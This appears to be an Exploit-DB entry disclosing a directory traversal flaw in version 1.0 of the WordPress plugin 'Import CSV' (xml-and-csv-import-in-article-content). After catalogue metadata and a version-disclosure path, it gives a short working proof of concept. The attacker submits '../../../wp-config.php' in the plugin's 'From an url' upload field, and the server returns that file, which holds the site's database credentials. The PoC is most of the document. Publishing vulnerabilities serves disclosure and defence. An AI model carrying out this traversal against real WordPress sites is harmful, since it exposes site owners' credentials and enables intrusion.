WordPress Plugin Import CSV 1.0 - Directory Traversal

Author: Wadeek
type: webapps
platform: php
port: 80.0
date_added: 2016-03-21 
date_updated: 2016-03-21 
verified: 0 
codes:  
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comxml-and-csv-import-in-article-content.zip

# Exploit Title: Wordpress Import CSV | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/xml-and-csv-import-in-article-content.zip
# Stable Tag: 1.1
# Tested on: Xampp on Windows7

[Version Disclosure]
======================================
/wp-content/plugins/xml-and-csv-import-in-article-content/readme.txt
======================================

[PoC]
======================================
Go to /wp-content/plugins/xml-and-csv-import-in-article-content/upload-process.php.
Click on the link "From an url".
In "URL" field to write "../../../wp-config.php".
Validate form and inspect the body.
======================================